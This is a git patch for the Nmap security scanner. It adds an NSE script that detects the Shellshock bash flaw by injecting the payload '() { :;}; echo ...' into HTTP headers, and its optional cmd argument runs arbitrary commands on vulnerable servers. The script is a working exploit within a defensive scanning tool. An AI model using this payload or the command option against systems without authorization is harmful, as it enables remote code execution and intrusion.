From 563498f4735a1986cc507628f537bcc6e29de0f5 Mon Sep 17 00:00:00 2001 From: paulino Date: Sat, 17 Jan 2015 03:01:58 +0000 Subject: [PATCH] Adds http-shellshock.nse to detect web applications vulnerable to shellshock --- CHANGELOG | 3 + scripts/http-shellshock.nse | 144 ++++++++++++++++++++++++++++++++++++ scripts/script.db | 1 + 3 files changed, 148 insertions(+) create mode 100644 scripts/http-shellshock.nse diff --git a/CHANGELOG b/CHANGELOG index 30b733fba..ee66bd90b 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,8 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added http-shellshock to detect web applications vulnerable to + Shellshock (CVE2014-6271). [Paulino Calderon] + o Added a version probe for Tor. [David Fifield] o [Zenmap] Updated translations for German (de, Chris Leick), Italian (it, Jan diff --git a/scripts/http-shellshock.nse b/scripts/http-shellshock.nse new file mode 100644 index 000000000..4bd90d4b4 --- /dev/null +++ b/scripts/http-shellshock.nse @@ -0,0 +1,144 @@ +local http = require "http" +local shortport = require "shortport" +local stdnse = require "stdnse" +local vulns = require "vulns" + +description = [[ +Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications. + +To detect this vulnerability the script executes a command that prints a +random string and then attempts to find it inside the response body. Web apps that + don't print back information won't be detected with this method. + +By default the script injects the payload in the HTTP headers User-Agent, + Cookie, Referer and also uses the payload as the header name. + +Vulnerability originally discovered by Stephane Chazelas. + +References: +* http://www.openwall.com/lists/oss-security/2014/09/24/10 +* http://seclists.org/oss-sec/2014/q3/685 +* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 +* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 +]] + +-- @usage +-- nmap -sV -p- --script http-shellshock +-- nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-shellshock: +-- | VULNERABLE: +-- | HTTP Shellshock vulnerability +-- | State: VULNERABLE (Exploitable) +-- | IDs: CVE:CVE-2014-6271 +-- | This web application might be affected by the vulnerability known as Shellshock. It seems the server +-- | is executing commands injected via malicious HTTP headers. +-- | +-- | Disclosure date: 2014-09-24 +-- | References: +-- | http://www.openwall.com/lists/oss-security/2014/09/24/10 +-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 +-- | http://seclists.org/oss-sec/2014/q3/685 +-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 +-- +-- @xmloutput +-- HTTP Shellshock vulnerability +-- VULNERABLE (Exploitable) +-- +-- CVE:CVE-2014-6271 +--
+-- +-- This web application might be affected by the vulnerability known as Shellshock. It seems the server +-- is executing commands injected via malicious HTTP headers. +--
+-- +--
+-- 2014 +-- 24 +-- 09 +--
+-- +-- 2014-09-24 +-- +-- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 +-- http://www.openwall.com/lists/oss-security/2014/09/24/10 +-- http://seclists.org/oss-sec/2014/q3/685 +-- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 +--
+-- @args http-shellshock.uri URI. Default: / +-- @args http-shellshock.header HTTP header to use in requests. Default: User-Agent +-- @args http-shellshock.cmd Custom command to send inside payload. Default: nil +--- +author = {"Paulino Calderon "} +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"exploit","vuln","intrusive"} + +portrule = shortport.http + +function generate_http_req(host, port, uri, custom_header, cmd) + local rnd = nil + --Set custom or probe with random string as cmd + if cmd ~= nil then + cmd = '() { :;}; '..cmd + else + rnd = stdnse.generate_random_string(15) + cmd = '() { :;}; echo; echo "'..rnd..'"' + end + -- Plant the payload in the HTTP headers + local options = {header={}} + options["no_cache"] = true + if custom_header == nil then + stdnse.debug(1, string.format("Sending '%s' in HTTP headers:User-Agent,Cookie and Referer", cmd)) + options["header"]["User-Agent"] = cmd + options["header"]["Referer"] = cmd + options["header"]["Cookie"] = cmd + options["header"][cmd] = cmd + else + stdnse.debug(1, string.format("Sending '%s' in HTTP header '%s'", cmd, custom_header)) + options["header"][custom_header] = cmd + end + local req = http.get(host, port, uri, options) + + if not(cmd) then + return req + else + return req, rnd + end +end + +action = function(host, port) + local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil + local http_header = stdnse.get_script_args(SCRIPT_NAME..".header") or nil + local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/' + local rnd = nil + local req, rnd = generate_http_req(host, port, uri, http_header, nil) + if req.status == 200 and string.match(req.body, rnd) ~= nil then + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) + local vuln = { + title = 'HTTP Shellshock vulnerability', + state = vulns.STATE.NOT_VULN, + description = [[ +This web application might be affected by the vulnerability known as Shellshock. It seems the server +is executing commands injected via malicious HTTP headers. + ]], + IDS = {CVE = 'CVE-2014-6271'}, + references = { + 'http://www.openwall.com/lists/oss-security/2014/09/24/10', + 'http://seclists.org/oss-sec/2014/q3/685', + 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169' + }, + dates = { + disclosure = {year = '2014', month = '09', day = '24'}, + }, + } + stdnse.debug(1, string.format("Random pattern '%s' was found in page. Host seems vulnerable.", rnd)) + vuln.state = vulns.STATE.EXPLOIT + if cmd ~= nil then + req = generate_http_req(host, port, uri, http_header, cmd) + vuln.exploit_results = req.body + end + return vuln_report:make_output(vuln) + end +end diff --git a/scripts/script.db b/scripts/script.db index 17412148e..a3afdc4bd 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -205,6 +205,7 @@ Entry { filename = "http-robots.txt.nse", categories = { "default", "discovery", Entry { filename = "http-robtex-reverse-ip.nse", categories = { "discovery", "external", "safe", } } Entry { filename = "http-robtex-shared-ns.nse", categories = { "discovery", "external", "safe", } } Entry { filename = "http-server-header.nse", categories = { "version", } } +Entry { filename = "http-shellshock.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "http-sitemap-generator.nse", categories = { "discovery", "intrusive", } } Entry { filename = "http-slowloris-check.nse", categories = { "safe", "vuln", } } Entry { filename = "http-slowloris.nse", categories = { "dos", "intrusive", } }